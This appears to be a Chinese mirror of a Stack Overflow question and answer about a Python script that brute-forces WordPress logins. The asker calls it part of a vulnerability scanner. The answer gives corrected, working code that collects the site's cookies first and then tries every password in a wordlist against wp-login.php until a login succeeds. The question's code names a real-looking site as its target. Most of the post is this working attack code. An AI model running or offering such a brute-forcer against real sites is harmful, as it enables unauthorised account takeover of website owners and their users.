首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如何使用python请求登录wordpress?

如何使用python请求登录wordpress?
EN

Stack Overflow用户
提问于 2017-03-04 21:18:04
回答 1查看 2K关注 0票数 2

我一直在做一个叫网络地图的程序。它扫描网站的漏洞。但是我在暴力破解wordpress登录时遇到了一些麻烦。这是暴力破解登录的代码:

代码语言:javascript
复制
def brute_login(tgt, dictionary):
s = requests.Session()
pass_found = False

user = raw_input("User: ")
intent = 0
tgt = tgt+"/wp-login"
f = open(dictionary, 'r')
for word in f.readlines():
    password = word.strip('\n')
    intent+=1
    payload = {'log': user, 'pwd': password, 'redirect_to': 'TARGET_URL/wp-admin', 'testcookie': '1', 'wp-submit': 'Access'}
    print '[+] Trying with user: '+str(user)+' and password: '+str(password)+'\ttry: '+str(intent)
    s.post(tgt, data=payload)
    data = s.get("http://gerion.info/wp-admin").text
    if 'Escritorio' in data or 'Desktop' in data:
        print '[*] Password found: '+password
        pass_found = True
    else:
        pass

我希望你能帮助我,谢谢!

EN

回答 1

Stack Overflow用户

发布于 2017-03-05 00:41:49

好了,我找到解决方案了。@payne问题是我无法登录wordpress管理页面。解决方案是让wordpress自己设置自己的cookies。这是最终的代码:

代码语言:javascript
复制
def brute_login(tgt, dictionary):

s = requests.Session()

s.get(tgt)

user = raw_input("User: ")
intent = 0
tgt = tgt + "/wp-login.php"

passwords = []
with open(dictionary, 'r') as f:
    passwords = f.read().rsplit('\n')

for password in passwords:
    intent += 1
    payload = {'log': user,'pwd': password}
    print'[+] Trying with user: %s and password: %s\ttry: %s' % (user, password, intent)

    data = s.post(tgt, data=payload)


    if not 'ERROR' in data.text:
        print '[*] Password found: '+password
        exit(0)
票数 4
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/42596483

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档